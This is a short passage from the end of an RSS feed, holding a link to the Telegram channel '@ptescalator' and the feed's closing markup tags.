<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
